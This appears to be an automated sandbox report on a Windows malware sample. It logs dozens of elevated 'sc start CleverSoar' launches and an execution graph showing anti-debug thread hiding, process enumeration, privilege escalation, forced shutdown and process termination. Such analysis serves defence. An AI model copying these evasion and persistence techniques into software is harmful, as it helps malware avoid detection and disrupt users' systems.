                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:67
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:68
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:69
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:70
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:71
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:72
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:73
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:74
                                        Start time:03:00:12
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:75
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:76
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:77
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:78
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:79
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:80
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:81
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:82
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:83
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:84
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:85
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:86
                                        Start time:03:00:13
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:87
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:88
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:89
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:90
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:91
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:92
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:93
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:94
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:95
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:96
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:97
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:98
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:99
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:100
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:101
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:102
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:103
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:104
                                        Start time:03:00:14
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:105
                                        Start time:03:00:15
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:106
                                        Start time:03:00:15
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\sc.exe
                                        Wow64 process (32bit):false
                                        Commandline:sc start CleverSoar
                                        Imagebase:0x7ff7fb140000
                                        File size:72'192 bytes
                                        MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:107
                                        Start time:03:00:15
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\conhost.exe
                                        Wow64 process (32bit):false
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:0x7ff6d64d0000
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:108
                                        Start time:03:00:15
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\cmd.exe
                                        Wow64 process (32bit):false
                                        Commandline:cmd /c start sc start CleverSoar
                                        Imagebase:0x7ff6d1f60000
                                        File size:289'792 bytes
                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                        Has elevated privileges:true
                                        Has administrator privileges:true
                                        Programmed in:C, C++ or other language
                                        Has exited:true

                                        General

                                        Target ID:266
                                        Start time:03:00:22
                                        Start date:23/12/2024
                                        Path:C:\Windows\System32\Conhost.exe
                                        Wow64 process (32bit):
                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        Imagebase:
                                        File size:862'208 bytes
                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                        Has elevated privileges:
                                        Has administrator privileges:
                                        Programmed in:C, C++ or other language
                                        Has exited:false

                                        Disassembly

                                        Reset < >

                                          Execution Graph

                                          Execution Coverage:1.6%
                                          Dynamic/Decrypted Code Coverage:0%
                                          Signature Coverage:15.3%
                                          Total number of Nodes:816
                                          Total number of Limit Nodes:9
                                          execution_graph 100131 6ca3cad3 100132 6ca3cafd 100131->100132 100133 6ca3cae5 __dosmaperr 100131->100133 100132->100133 100134 6ca3cb77 100132->100134 100136 6ca3cb48 __dosmaperr 100132->100136 100137 6ca3cb90 100134->100137 100139 6ca3cbe7 __wsopen_s 100134->100139 100140 6ca3cbab __dosmaperr 100134->100140 100178 6ca30120 18 API calls __wsopen_s 100136->100178 100138 6ca3cb95 100137->100138 100137->100140 100166 6ca419e5 100138->100166 100172 6ca347bb HeapFree GetLastError _free 100139->100172 100171 6ca30120 18 API calls __wsopen_s 100140->100171 100143 6ca3cd3e 100146 6ca3cdb4 100143->100146 100149 6ca3cd57 GetConsoleMode 100143->100149 100144 6ca3cc07 100173 6ca347bb HeapFree GetLastError _free 100144->100173 100148 6ca3cdb8 ReadFile 100146->100148 100151 6ca3cdd2 100148->100151 100152 6ca3ce2c GetLastError 100148->100152 100149->100146 100153 6ca3cd68 100149->100153 100150 6ca3cc0e 100155 6ca3cbc2 __dosmaperr __wsopen_s 100150->100155 100174 6ca3ac69 20 API calls __wsopen_s 100150->100174 100151->100152 100156 6ca3cda9 100151->100156 100152->100155 100153->100148 100154 6ca3cd6e ReadConsoleW 100153->100154 100154->100156 100157 6ca3cd8a GetLastError 100154->100157 100175 6ca347bb HeapFree GetLastError _free 100155->100175 100156->100155 100160 6ca3cdf7 100156->100160 100161 6ca3ce0e 100156->100161 100157->100155 100176 6ca3cefe 23 API calls 3 library calls 100160->100176 100161->100155 100163 6ca3ce25 100161->100163 100177 6ca3d1b6 21 API calls __wsopen_s 100163->100177 100165 6ca3ce2a 100165->100155 100167 6ca419ff 100166->100167 100169 6ca419f2 100166->100169 100168 6ca41a0b 100167->100168 100179 6ca30120 18 API calls __wsopen_s 100167->100179 100168->100143 100169->100143 100171->100155 100172->100144 100173->100150 100174->100138 100175->100133 100176->100155 100177->100165 100178->100133 100179->100169 100180 6c8a3d62 100183 6c8a3bc0 100180->100183 100181 6c8a3e8a GetCurrentThread NtSetInformationThread 100182 6c8a3eea 100181->100182 100183->100181 100184 6c8a4b53 100342 6ca26a43 100184->100342 100186 6c8a4b5c _Yarn 100356 6ca1aec0 100186->100356 100188 6c8c639e 100452 6ca30130 18 API calls 2 library calls 100188->100452 100190 6c8a4cff 100191 6c8a5164 CreateFileA CloseHandle 100196 6c8a51ec 100191->100196 100192 6c8a4bae std::ios_base::_Ios_base_dtor 100192->100188 100192->100190 100192->100191 100193 6c8b245a _Yarn _strlen 100192->100193 100193->100188 100194 6ca1aec0 FindFirstFileA 100193->100194 100210 6c8b2a83 std::ios_base::_Ios_base_dtor 100194->100210 100360 6ca25120 OpenSCManagerA 100196->100360 100198 6c8afc00 100445 6ca25240 CreateToolhelp32Snapshot 100198->100445 100201 6ca26a43 IsProcessorFeaturePresent RaiseException EnterCriticalSection LeaveCriticalSection std::_Facet_Register 100237 6c8a5478 std::ios_base::_Ios_base_dtor _Yarn _strlen 100201->100237 100203 6c8b37d0 Sleep 100248 6c8b37e0 std::ios_base::_Ios_base_dtor _Yarn _strlen 100203->100248 100204 6ca1aec0 FindFirstFileA 100204->100237 100205 6c8c63b2 100453 6c8a15e0 18 API calls std::ios_base::_Ios_base_dtor 100205->100453 100206 6ca25240 4 API calls 100224 6c8b053a 100206->100224 100207 6ca25240 4 API calls 100230 6c8b12e2 100207->100230 100209 6c8c64f8 100210->100188 100364 6ca10390 100210->100364 100211 6c8affe3 100211->100206 100215 6c8b0abc 100211->100215 100212 6c8c6ba0 104 API calls 100212->100237 100213 6c8c6e60 32 API calls 100213->100237 100215->100193 100215->100207 100217 6ca25240 4 API calls 100217->100215 100218 6ca25240 4 API calls 100238 6c8b1dd9 100218->100238 100219 6c8b211c 100219->100193 100220 6c8b241a 100219->100220 100223 6ca10390 11 API calls 100220->100223 100221 6ca1aec0 FindFirstFileA 100221->100248 100226 6c8b244d 100223->100226 100224->100215 100224->100217 100225 6c8a6722 100421 6ca21880 25 API calls 4 library calls 100225->100421 100451 6ca25d60 GetCurrentProcess OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges NtInitiatePowerAction 100226->100451 100228 6c8b2452 Sleep 100228->100193 100229 6c8b16ac 100230->100218 100230->100219 100230->100229 100231 6c8a6162 100232 6c8a740b 100422 6ca24ff0 CreateProcessA 100232->100422 100234 6ca25240 4 API calls 100234->100219 100237->100188 100237->100198 100237->100201 100237->100204 100237->100212 100237->100213 100237->100225 100237->100231 100402 6c8c7090 100237->100402 100415 6c8ee010 100237->100415 100238->100219 100238->100234 100239 6c8c7090 77 API calls 100239->100248 100240 6c8ee010 67 API calls 100240->100248 100241 6c8a775a _strlen 100241->100188 100242 6c8a7ba9 100241->100242 100243 6c8a7b92 100241->100243 100246 6c8a7b43 _Yarn 100241->100246 100245 6ca26a43 std::_Facet_Register 4 API calls 100242->100245 100244 6ca26a43 std::_Facet_Register 4 API calls 100243->100244 100244->100246 100245->100246 100247 6ca1aec0 FindFirstFileA 100246->100247 100257 6c8a7be7 std::ios_base::_Ios_base_dtor 100247->100257 100248->100188 100248->100221 100248->100239 100248->100240 100373 6c8c6ba0 100248->100373 100392 6c8c6e60 100248->100392 100249 6ca24ff0 4 API calls 100260 6c8a8a07 100249->100260 100250 6c8a9d68 100253 6ca26a43 std::_Facet_Register 4 API calls 100250->100253 100251 6c8a9d7f 100254 6ca26a43 std::_Facet_Register 4 API calls 100251->100254 100252 6c8a962c _strlen 100252->100188 100252->100250 100252->100251 100255 6c8a9d18 _Yarn 100252->100255 100253->100255 100254->100255 100256 6ca1aec0 FindFirstFileA 100255->100256 100263 6c8a9dbd std::ios_base::_Ios_base_dtor 100256->100263 100257->100188 100257->100249 100257->100252 100258 6c8a8387 100257->100258 100259 6ca24ff0 4 API calls 100268 6c8a9120 100259->100268 100260->100259 100261 6ca24ff0 4 API calls 100278 6c8aa215 _strlen 100261->100278 100262 6ca24ff0 4 API calls 100265 6c8a9624 100262->100265 100263->100188 100263->100261 100269 6c8ae8b5 std::ios_base::_Ios_base_dtor _Yarn _strlen 100263->100269 100264 6ca26a43 IsProcessorFeaturePresent RaiseException EnterCriticalSection LeaveCriticalSection std::_Facet_Register 100264->100269 100426 6ca25d60 GetCurrentProcess OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges NtInitiatePowerAction 100265->100426 100267 6ca1aec0 FindFirstFileA 100267->100269 100268->100262 100269->100188 100269->100264 100269->100267 100270 6c8aed02 Sleep 100269->100270 100271 6c8af7b1 100269->100271 100290 6c8ae8c1 100270->100290 100444 6ca25d60 GetCurrentProcess OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges NtInitiatePowerAction 100271->100444 100273 6c8aa9bb 100277 6ca26a43 std::_Facet_Register 4 API calls 100273->100277 100274 6c8aa9a4 100276 6ca26a43 std::_Facet_Register 4 API calls 100274->100276 100275 6c8ae8dd GetCurrentProcess TerminateProcess 100275->100269 100285 6c8aa953 _Yarn _strlen 100276->100285 100277->100285 100278->100188 100278->100273 100278->100274 100278->100285 100279 6ca24ff0 4 API calls 100279->100290 100280 6c8afbb8 100281 6c8afbe8 ExitWindowsEx Sleep 100280->100281 100281->100198 100282 6c8af7c0 100282->100280 100283 6c8ab009 100287 6ca26a43 std::_Facet_Register 4 API calls 100283->100287 100284 6c8aaff0 100286 6ca26a43 std::_Facet_Register 4 API calls 100284->100286 100285->100205 100285->100283 100285->100284 100288 6c8aafa0 _Yarn 100285->100288 100286->100288 100287->100288 100427 6ca25960 100288->100427 100290->100269 100290->100275 100290->100279 100291 6c8ab059 std::ios_base::_Ios_base_dtor _strlen 100291->100188 100292 6c8ab42c 100291->100292 100293 6c8ab443 100291->100293 100296 6c8ab3da _Yarn _strlen 100291->100296 100294 6ca26a43 std::_Facet_Register 4 API calls 100292->100294 100295 6ca26a43 std::_Facet_Register 4 API calls 100293->100295 100294->100296 100295->100296 100296->100205 100297 6c8ab79e 100296->100297 100298 6c8ab7b7 100296->100298 100301 6c8ab751 _Yarn 100296->100301 100299 6ca26a43 std::_Facet_Register 4 API calls 100297->100299 100300 6ca26a43 std::_Facet_Register 4 API calls 100298->100300 100299->100301 100300->100301 100302 6ca25960 104 API calls 100301->100302 100303 6c8ab804 std::ios_base::_Ios_base_dtor _strlen 100302->100303 100303->100188 100304 6c8abc0f 100303->100304 100305 6c8abc26 100303->100305 100308 6c8abbbd _Yarn _strlen 100303->100308 100306 6ca26a43 std::_Facet_Register 4 API calls 100304->100306 100307 6ca26a43 std::_Facet_Register 4 API calls 100305->100307 100306->100308 100307->100308 100308->100205 100309 6c8ac08e 100308->100309 100310 6c8ac075 100308->100310 100313 6c8ac028 _Yarn 100308->100313 100312 6ca26a43 std::_Facet_Register 4 API calls 100309->100312 100311 6ca26a43 std::_Facet_Register 4 API calls 100310->100311 100311->100313 100312->100313 100314 6ca25960 104 API calls 100313->100314 100319 6c8ac0db std::ios_base::_Ios_base_dtor _strlen 100314->100319 100315 6c8ac7bc 100318 6ca26a43 std::_Facet_Register 4 API calls 100315->100318 100316 6c8ac7a5 100317 6ca26a43 std::_Facet_Register 4 API calls 100316->100317 100326 6c8ac753 _Yarn _strlen 100317->100326 100318->100326 100319->100188 100319->100315 100319->100316 100319->100326 100320 6c8ad3ed 100322 6ca26a43 std::_Facet_Register 4 API calls 100320->100322 100321 6c8ad406 100323 6ca26a43 std::_Facet_Register 4 API calls 100321->100323 100324 6c8ad39a _Yarn 100322->100324 100323->100324 100325 6ca25960 104 API calls 100324->100325 100327 